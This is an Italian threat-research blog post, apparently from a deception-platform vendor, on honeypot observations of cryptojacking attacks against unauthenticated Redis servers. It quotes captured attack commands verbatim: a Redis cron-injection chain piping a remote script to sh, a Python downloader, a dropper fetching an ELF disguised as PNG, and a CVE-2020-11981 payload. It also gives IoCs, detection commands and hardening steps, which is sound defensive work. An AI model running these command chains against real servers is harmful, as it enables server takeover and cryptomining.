Server Redis lasciati senza protezione: ecco come li sfruttano gli attaccanti

La vulnerabilità RediShell (CVE-2025-49844) ha appena scosso il mondo della sicurezza con un severity score perfetto di 10 su 10. In un contesto dove ci sono 60.000 server Redis connessi a Internet senza alcuna password.

Con un costo medio di violazione dei dati di 4,4 milioni di dollari per le aziende, questi punti di accesso hanno un’esposizione a potenziali danni per oltre 200 miliardi di dollari. Solo in Italia ci sono oltre 300 di questi server esposti, con un impatto potenziale di 1,32 miliardi di dollari.

Abbiamo indagato su cosa succede quando questi server sono esposti e osservato i comportamenti degli attaccanti.

I dettagli della vulnerabilità RediShell

Scoperta da Wiz Research il 3 ottobre 2025, la CVE-2025-49844 è una criticità di esecuzione di codice da remoto. Un bug di corruzione della memoria di tipo use-after-free rimasto nascosto per 13 anni nel motore di scripting Lua e presente in tutte le versioni di Redis.

Per essere sfruttata, però, la falla richiede una connessione autenticata.

Non sarebbe un grande problema, se non fosse che oltre 60.000 server Redis sono esposti senza password. RediShell è stata rapidamente corretta negli ambienti gestiti. Ma per quei 60.000 server che accettano connessioni senza autenticazione, i rischi non finiscono: sono esposti a tutto.

Senza autenticazione, chiunque si connetta risulta di fatto “autenticato”. Queste istanze diventano quindi vulnerabili non solo a exploit avanzati come la CVE-2025-49844, ma anche ad attacchi banali: accesso ai dati, esecuzione di comandi, cryptojacking, esfiltrazione di dati.

Su circa 360.000 istanze Redis pubblicamente accessibili, 60.000, quasi una su sei, non richiedono password. Niente credenziali, chiavi API o certificati: basta una connessione TCP alla porta 6379 per ottenere pieno accesso in lettura e scrittura.

La nostra ricerca: cosa fanno gli attaccanti ai Redis non protetti

Volevamo capire, con precisione, cosa succede quando un attaccante si imbatte in questi server.

Per questa ricerca, abbiamo distribuito honeypot Redis configurati per rispecchiare esattamente le configurazioni errate che vediamo negli ambienti reali: nessuna autenticazione, impostazioni predefinite, porta 6379 pubblicamente accessibile. Abbiamo posizionato i nostri emulatori tra le 60.000 istanze vulnerabili in attesa di vedere cosa sarebbe successo.

L’attesa è stata breve.

Il panorama degli attacchi: un ecosistema globale

I nostri honeypot hanno intercettato un’operazione di cryptojacking attiva e organizzata, diffusa su più continenti e provider cloud.

Fonti di attacco e infrastruttura

Gli attacchi sono arrivati da 15 Paesi, appoggiandosi all’infrastruttura dei principali cloud provider e sfruttando tecniche diverse.

In sintesi:

• Provider cloud: Alibaba Cloud, Tencent Cloud, Baidu Cloud, Microsoft Azure, DigitalOcean, Oracle Cloud.
• Gruppi di threat actor: cinque gruppi distinti identificati, ciascuno con infrastruttura e varianti di malware uniche.
• Tecniche di attacco: quattro pattern distinti documentati, dalla classica persistenza basata su cron a metodi di evasione innovativi.

La scoperta chiave

Gli attaccanti hanno sfruttato soprattutto infrastrutture di provider cinesi (Alibaba Cloud, Tencent Cloud, Baidu Cloud), ma i server vulnerabili sono distribuiti ovunque, senza un singolo Paese dominante.

I primi tre, USA (20,3%), Cina (16,91%) e Germania (7,71%), rappresentano meno della metà delle istanze esposte. È un problema globale, con attaccanti globali.

Cosa abbiamo osservato

• Concorrenza tra gruppi: più team ostili tentano di compromettere gli stessi honeypot, a distanza di pochi minuti.
• Ricognizione lampo: la scansione automatizzata individua i target in tempi rapidissimi.
• Fonti non mappate: diversi IP non risultano nei principali database di threat intelligence (es. GreyNoise).

Rilevamento delle minacce

Analizzando gli IP attaccanti, abbiamo scoperto che tanti di essi non erano ancora stati segnalati in GreyNoise o flaggati come malicious su AbuseIPDB, piattaforme leader nel monitoraggio delle attività di scansione su Internet:

Questo dimostra un vantaggio chiave della threat intelligence basata su honeypot, scoprire attaccanti ed indirizzi IP malevoli prima che compaiano nei database pubblici, fornendo avvisi preventivi prima che gli aggressori compromettano i sistemi di produzione.

Gli attacchi non si sono mai fermati. Le tecniche si sono evolute. E ogni interazione ha rivelato qualcosa di più su come queste organizzazioni criminali operano su larga scala.

Il quadro globale delle vulnerabilità

Come dicevamo, su circa 360.000 istanze Redis pubbliche, 60.000 (16,7%) non richiedono alcuna autenticazione. Ma dove si trovano questi 60.000 server vulnerabili?

I primi 10 Paesi sono riportati nella tabella sottostante.

Si tratta, dunque, di un problema realmente globale. Dagli Stati Uniti alla Finlandia, dal Brasile a Singapore: istanze Redis vulnerabili in oltre 50 Paesi.

Primo pattern di attacco: il classico takeover via cron

Prevalenza: 87% degli attacchi osservati

Gruppi coinvolti: TA-NATALSTATUS, Cleanfda, Kinsing, WatchDog

Come funziona

Il pattern di attacco più diffuso che abbiamo osservato abusa della funzionalità di backup di Redis per ottenere l’esecuzione e la persistenza del codice:

# Passo 1: Cancellare i dati esistenti

FLUSHALL

# Passo 2: Disabilitare il controllo degli errori

CONFIG SET stop-writes-on-bgsave-error “no”

# Passo 3: Iniettare payload di cron job

SET backup1 “\n\n\n*/2 * * * * curl -fsSL http://194[.]110.247.97/ep9TS2/ndt.sh | sh\n\n”

# Passo 4: Cambiare la posizione di backup nella directory cron

CONFIG SET dir “/var/spool/cron/”

# Passo 5: Impostare il nome del file di backup

CONFIG SET dbfilename “root”

# Passo 6: Salvare la configurazione (scrive i cron job)

SAVE

Perché funziona

Questa tecnica è efficace perché:

• Sfrutta funzioni legittime: usa il meccanismo di backup di Redis
• Non richiede exploit: basta un’istanza non autenticata
• Colpisce più directory cron: /var/spool/cron/, /var/spool/cron/crontabs, /etc/cron.d/
• Molteplici voci: utilizza job programmati a intervalli diversi per aumentare la probabilità di esecuzione

Il payload

Gli script shell scaricati tipicamente:

• Scaricano stadi successivi di malware
• Eliminano miner concorrenti, facendo effettivamente il lavoro di un antivirus per un breve periodo
• Installano cryptominer (prevalentemente varianti XMRig)
• Impostano meccanismi multipli di persistenza
• Attivano watchdog per riavvio dei processi

Secondo pattern di attacco: downloader Python con escape tramite caratteri speciali

Caratteri con escape negli URL

In questo pattern gli attaccanti usano uno script inline Python per scaricare payload camuffando i domini con dei backslash:

python -c “import urllib2; print urllib2.urlopen(‘http://\\b.\\c\\l\\u-e[.]eu/t.sh’).read()” >.1;chmod +x .1;./.1

Perché il backslash?

I backslash servono a più scopi:

• Aggirare filtri URL basati su stringhe
• Eludere i controlli di reputazione del dominio
• Ridurre l’efficacia del rilevamento regex
• In Python sono interpretati come escape in fase di esecuzione

Terzo pattern di attacco: l’innovazione di RedisRaider

Gruppo: RedisRaider

Prima osservazione: 2025 (documentato da Datadog)

Mascherare i malware come Immagini

In questo pattern, gli attaccanti mascherano il loro malware come file immagine:

u=”http://a[.]hbweb.icu:8080/uploads/2024-7/99636-5b0c-4999-b.png”

t=”/tmp”

f=”mysql”

if ! [ -f “$t/$f” ]; then

if which curl; then

curl $u -o $t/$f > /dev/null 2>&1

fi

fi

chmod +x $t/$f

PATH=$t:$PATH nohup $f > /dev/null 2>&1 &

Come funziona:

• L’immagine è in realtà un eseguibile ELF: nonostante l’estensione .png è un file binario
• Percorso in /tmp/mysql: si finge un’utility MySQL
• Esecuzione silenziosa: output dirottato su /dev/null

Quarto pattern di attacco: tentativi di sfruttare CVE-2020-11981

CVE: CVE-2020-11981 (Apache Airflow)

Esito: tentativi non riusciti (payload segnaposto)

Il vettore di attacco

La CVE-2020-11981 è una vulnerabilità nell’executor Celery di Apache Airflow che consente l’iniezione di comandi via Redis. Abbiamo osservato numerosi tentativi di sfruttarla:

{

“command”: “LPUSH”,

“args”: [

“default”,

“{\”headers\”: {\”task\”: \”airflow.executors.celery_executor.execute_command\”}, \”body\”: \”W1tbImN1cmwiLCAiaHR0cDovL3t7aW50ZXJhY3RzaC11cmx9fSJdXQ==\”}”

]

}

Payload decodificato

Decodificato in base64, il payload rivela:

[[“curl”, “http://{{interactsh-url}}”]]

Il placeholder {{interactsh-url}} segnala l’uso di strumenti di scansione automatizzata, non un exploitation manuale.

Analisi geografica e dell’infrastruttura: distribuzione delle fonti di attacco

I nostri honeypot sono stati presi di mira da 103 indirizzi IP unici in 7 Paesi:

Infrastruttura dei provider cloud

L’analisi delle informazioni ISP sugli IP attaccanti rivela un forte ricorso ai principali provider cloud:

Profili dei threat actor

Sulla base degli URL dei payload e dell’infrastruttura osservata, abbiamo identificato cinque gruppi distinti attivi contro i nostri honeypot.

TA-NATALSTATUS

Infrastruttura osservata:

• Dominio principale: natalstatus.org
• Infrastruttura di backup: matrix.masscan.cloud
• Indirizzi IP: 103.79.77.16, 194.110.247.97, 45.83.122.25, e altri

Pattern di attacco: persistenza via cron

Payload osservati: ndt.sh, nnt.sh, is.sh, httpgd, pnscan.tar.gz

Cleanfda

Infrastruttura osservata:

• Dominio: en2an.top
• Indirizzi IP: 45.83.123.29, 45.128.150.171, 79.137.195.151

Pattern di attacco: iniezione via cron

Kinsing

Infrastruttura osservata:

• Domini: pyats.top, soc.xiaoshabi.nl, soc.dashabi.in
• Indirizzo IP: 45.83.122.25

Pattern di attacco: iniezione via cron.

WatchDog

Infrastruttura osservata:

• Dominio: oracle.zzhreceive.top

Pattern di attacco: iniezione via cron

RedisRaider

Infrastruttura osservata:

• Dominio: a.hbweb.icu:8080
• Payload: file PNG mascherato

Pattern di attacco: malware mascherato da PNG

Come Tropico ha rilevato e tracciato questi attacchi

Distribuzione rapida e monitoraggio intelligente

1) Distribuzione automatizzata

• Honeypot realistici operativi in pochi minuti
• Preconfigurati con gli errori più comuni
• Ambienti emulati ad alta interazione, totalmente isolati

2) Intelligence in tempo reale Ogni comando, connessione e payload è catturato con contesto completo:

• IP di origine, porta, geolocalizzazione
• Sequenze integrali di comandi
• URL dei payload e file scaricati
• Timing e correlazioni

3) Analisi automatica delle minacce La piattaforma Tropico:

• Estrae IoC (IP, domini, URL, hash)
• Correla attacchi tra più honeypot
• Identifica pattern e TTP dei gruppi
• Arricchisce con fonti di threat intelligence esterne
• Genera regole di rilevamento azionabili

Rilevamento e risposta

Sei già compromesso?

Se utilizzi Redis, verifica subito questi indicatori:

1) Controlla i crontab

# Controlla i crontab degli utenti

crontab -l

# Controlla le directory cron di sistema

cat /etc/cron.d/*

cat /var/spool/cron/*

cat /var/spool/cron/crontabs/*

# Cerca voci sospette

grep -r “curl\|wget” /etc/cron* /var/spool/cron*

Segnali di allarme:

• Voci che non hai creato
• URL che scaricano script shell
• Comandi passati via pipe a sh o bash
• Temporizzazioni ricorrenti sospette (*/2, */3)

2) Controlla i processi in esecuzione

# Cerca miner e processi sospetti

ps aux | grep -iE “xmrig|miner|kinsing|mysql|httpgd” | grep -v grep

# Controlla l’uso della CPU

top -bn1 | head -20

# Controlla le connessioni di rete

netstat -antup | grep ESTABLISHED

3) Controlla la configurazione di Redis

redis-cli

CONFIG GET dir

CONFIG GET dbfilename

CONFIG GET requirepass

Verifica:

• Directory impostate su /var/spool/cron/ o /etc/cron.d/
• Nomi insoliti di dbfilename (httpgd, zzh, networke, root, apache)
• requirepass vuoto (nessuna autenticazione)

4) Controlla file malevoli

# Posizioni comuni per file rilasciati

ls -la /tmp/ | grep -iE “mysql|httpgd|kinsing”

ls -la /var/tmp/

ls -la /dev/shm/

# Controlla i file nascosti

find /tmp -name “.*”

Passi di risposta immediata

Se trovi evidenze di compromissione:

1. Isola subito – disconnetti il server dalla rete
2. Preserva le prove – dump memoria e snapshot disco per forensics
3. Termina i processi – dopo averli documentati
4. Rimuovi la persistenza – ripulisci i cron job
5. Patching e hardening – applica le raccomandazioni di sicurezza
6. Monitoraggio stretto – gli attaccanti tendono a tornare

Importante: in produzione valuta seriamente il reimaging completo. I cryptominer installano spesso molteplici meccanismi di persistenza difficili da estirpare.

Prevenzione

Tutti e quattro i pattern osservati si possono prevenire con l’hardening standard di Redis:

• Abilitare l’autenticazione (requirepass)
• Effettuare il binding solo a localhost (bind 127.0.0.1)
• Disabilitare comandi rischiosi come CONFIG

Per i dettagli, fare riferimento alla documentazione ufficiale sulla sicurezza di Redis.

Indicatori di compromissione (IoC)

Domini malevoli che ospitano payload:

• natalstatus[.]org
• matrix[.]masscan.cloud
• en2an[.]top
• pyats[.]top
• soc[.]xiaoshabi.nl
• soc[.]dashabi.in
• oracle[.]zzhreceive.top
• a[.]hbweb.icu
• b[.]clu-e.eu
• kiss[.]a-dog.top
• s[.]na-cs.com

Indirizzi IP malevoli che ospitano payload:

103[.]79.77.16

194[.]110.247.97

45[.]83.122.25

45[.]89.52.41

185[.]19.33.145

104[.]164.55.217

45[.]128.150.171

45[.]83.123.29

79[.]137.195.151

149[.]28.85.17

Indirizzi IP sorgenti d’attacco:

• 101[.]200.120.136
• 101[.]42.65.19
• 103[.]252.73.158
• 103[.]44.246.249
• 103[.]60.12.200
• 103[.]8.70.102
• 106[.]12.184.7
• 106[.]13.124.241
• 106[.]13.45.232
• 106[.]227.11.236
• 106[.]54.198.127
• 106[.]75.241.127
• 111[.]230.36.157
• 112[.]124.109.246
• 113[.]24.66.57
• 114[.]80.32.147
• 114[.]80.35.241
• 115[.]190.120.244
• 115[.]190.19.111
• 116[.]176.75.105
• 117[.]50.47.100
• 118[.]121.27.103
• 119[.]45.248.246
• 119[.]59.125.57
• 120[.]24.174.153
• 120[.]26.19.77
• 120[.]48.43.118
• 120[.]53.106.134
• 120[.]78.5.126
• 121[.]229.168.114
• 121[.]40.117.170
• 121[.]41.118.136
• 121[.]41.166.56
• 122[.]97.138.181
• 123[.]56.141.52
• 123[.]56.21.250
• 123[.]57.108.165
• 123[.]59.3.41
• 124[.]220.224.126
• 125[.]67.236.54
• 125[.]74.55.217
• 125[.]88.205.65
• 129[.]204.44.106
• 139[.]196.183.183
• 139[.]198.30.179
• 14[.]103.198.15
• 14[.]103.220.97
• 14[.]18.118.84
• 14[.]225.231.96
• 14[.]29.224.105
• 140[.]238.153.39
• 161[.]35.0.118
• 164[.]90.134.127
• 172[.]184.113.203
• 172[.]184.221.38
• 180[.]76.114.78
• 180[.]76.183.146
• 182[.]43.64.3
• 182[.]92.181.218
• 183[.]136.170.208
• 183[.]56.219.190
• 183[.]56.243.176
• 185[.]227.153.56
• 20[.]245.216.153
• 20[.]66.108.191
• 218[.]56.58.202
• 218[.]59.175.217
• 218[.]78.131.154
• 221[.]130.29.85
• 223[.]64.222.218
• 27[.]109.125.239
• 27[.]185.41.158
• 36[.]111.32.107
• 36[.]137.101.189
• 36[.]137.20.86
• 36[.]139.84.140
• 36[.]7.107.206
• 39[.]105.1.165
• 39[.]105.211.89
• 39[.]106.9.47
• 39[.]107.103.199
• 39[.]91.87.110
• 39[.]98.228.131
• 40[.]125.45.98
• 43[.]134.0.85
• 43[.]139.215.177
• 47[.]106.66.34
• 47[.]117.110.149
• 47[.]117.87.239
• 47[.]119.152.13
• 47[.]120.12.89
• 47[.]76.237.87
• 47[.]83.194.219
• 47[.]86.3.225
• 47[.]94.213.192
• 47[.]96.228.248
• 47[.]97.229.80
• 47[.]97.45.131
• 49[.]115.217.27
• 52[.]225.84.224
• 57[.]154.191.64
• 8[.]130.119.172
• 8[.]136.108.109
• 8[.]138.183.134
• 8[.]140.150.7
• 8[.]142.178.14
• 8[.]142.178.141
• 81[.]70.2.239
• 82[.]157.180.148

Conclusioni

La nostra rete di honeypot Redis ha portato alla luce un ecosistema attivo di gruppi ostili che prendono di mira le 60.000 istanze non autenticate esposte su Internet.

Abbiamo identificato cinque gruppi distinti, ciascuno con infrastrutture e tecniche proprie per compromettere i server vulnerabili.

Le chiavi di lettura

1) Superficie di attacco enorme

Con 360.000 istanze pubbliche e 60.000 senza autenticazione, l’esposizione è ampia. I nostri honeypot sono stati individuati e sfruttati nel giro di poche ore.

2) Quattro tecniche in uso attivo

Le tecniche più utilizzate:

• Persistenza via cron
• Downloader Python con escape
• Malware camuffato da PNG
• Tentativi su CVE-2020-11981.

3) Infrastrutture cloud in prima linea
L’82,5% degli IP attaccanti proviene da infrastrutture cinesi:

• Alibaba Cloud
• Tencent,
• Baidu
• CHINANET

Il 9,7% da provider statunitensi:

• Microsoft Azure
• DigitalOcean

4) Cinque gruppi identificati

I più attivi contro istanze Redis configurate in modo errato:

• TA-NATALSTATUS
• Cleanfda
• Kinsing
• WatchDog
• RedisRaider

Cosa dovresti fare

Se gestisci server Redis:

• Verifica se l’istanza è pubblicamente accessibile
• Abilita requirepass
• Effettua il binding solo a localhost (bind 127.0.0.1)
• Rivedi i crontab e rimuovi voci sospette
• Blocca gli IoC elencati

Per dare più tempo al team di sicurezza per rispondere ad un attacco, prevenire gli attacchi, ed imporre un costo in termini di tempo e risorse all’attaccante, valuta l’adozione di tecnologie di deception, come la piattaforma Tropico, per intercettare gli attacchi prima che tocchino le macchine in produzione.

Riferimenti

AbuseIPDB

IBM report 2025

Wiz Research Redishell

GreyNoise Threat Intelligence